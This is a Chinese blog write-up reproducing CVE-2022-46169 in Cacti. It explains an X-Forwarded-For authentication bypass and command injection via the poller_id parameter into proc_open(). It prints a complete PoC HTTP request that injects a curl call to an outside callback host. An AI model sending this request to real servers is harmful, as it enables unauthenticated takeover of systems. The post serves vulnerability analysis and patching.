当前位置: 首页 > news >正文

漏洞复现-Cacti命令执行漏洞 (CVE-2022-46169)

1.漏洞描述

Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具,可为用户提供强大且可扩展的操作监控和故障管理框架。
该漏洞存在于remote_agent.php文件中,未经身份验证的恶意攻击者可以通过设置HTTP_变量绕过身份验证,再通过构造特殊的$poller_id 参数来触发proc_open() 函数,成功利用此漏洞可在目标服务器上执行任意命令,获取服务器的控制权限。

2.影响版本

Cacti < 1.2.23

3.影响范围 

4.漏洞分析

我们先看补丁
https://github.com/Cacti/cacti/commit/7f0e16312dd5ce20f93744ef8b9c3b0f1ece2216
漏洞点主要存在于lib/functions.php、remote_agent.php
分为登录绕过和命令注入

登录绕过

我们先跟进 get_client_addr看看
函数的作用是从 X-Forwarded-For等参数中获取值,filter_var 进行过滤,正确的地址就可以返回,X-Forwarded-For 参数可控,可以对其进行修改 
接下来看remote_client_authorized函数的下半部分
gethostbyaddr 对 client_addr 获取网络主机名,当 $client_name 与 $client_addr 不同时, 进入remote_agent_strip_domain 函数
函数就是截取点号前面的值 大多数情况下,我们传进去的值为 127.0.0.1 时,就会返回 true 了 因此我们可以通过修改 X-Forwarded-For 来绕过这里的认证

命令注入

我们先看一下修复记录
跟进get_nfilter_request_var函数
函数的作用是直接获取参数,没用过滤
这里的 $local_data_ids也是传进来的值,可控。

接下来我们关注这里的 $items ,是从数据库的 poller_item 表中取出来的,默认为空。

接下来当 $items 有了数据并且他的成员中有一个 item 也是一个数组并且键为 action,值为 2 时,即可进入命令注入的漏洞所在

在385 行有 proc_open可以命令执行。
Poc:
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`curl+dnslog.cn` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

5.修复建议

官方已经提供修复的版本,直接 github 下载即可
https://github.com/Cacti/cacti

http://www.lryc.cn/news/422939.html

相关文章:

  • 【Ajax使用说明】Ajax、Axios以及跨域
  • IIS网站搬家工具WebDeploy(把网站迁移去另一台服务器)
  • SQL Server 2022的游标
  • 「11月·香港」第三届人工智能、人机交互和机器人国际学术会议(AIHCIR 2024)
  • 【redis】springboot 用redis stream实现MQ消息队列 考虑异常ack重试场景
  • 初识IDEA
  • zigbee笔记:十、ZStack(2.3.0-1.4.0)的OSAL使用分析
  • SpringBoot响应式编程(1)Reactor核心
  • Java后端处理前端字符串与 JSON 数据:安全拼接与转义技巧
  • 一文搞懂bfs,dfs和高级图算法
  • 【Rust光年纪】Rust异步编程利器:异步DNS、高性能Web服务器一网打尽
  • 04学生管理系统(栈)
  • 我们如何在centos上部署批量管理工具ansible
  • 如何评估前端代码审查培训计划的有效性?
  • 使用nvm切换Node.js版本
  • x264 编码器 PSNR算法源码分析
  • 开源web版3D展示工具Online3DViewer
  • 白骑士的Matlab教学实战项目篇 4.2 信号与图像处理项目
  • 复现、并改进open-mmlab的mmpose详细细节
  • 编写兼容Python2.x与3.x代码
  • 比特币8.12学习问题
  • 解析 Vue 中的app.version、 app.provide 与 app.runWithContext :原理、应用与实例剖析
  • Ubuntu server 命令行跑selenium
  • 刚刚,模糊测试平台SFuzz受到行业认可
  • 数据结构与算法——DFS(深度优先搜索)
  • 基于lambda简化设计模式
  • 揭秘! 经纬恒润“车路云一体化”方案研发服务背后的科技驱动力
  • Redis操作--RedisTemplate(二)StringRedisTemplate
  • 【自动驾驶】ROS中自定义格式的服务通信,含命令行动态传参(c++)
  • 优思学院|PDCA和DMAIC之间如何选择?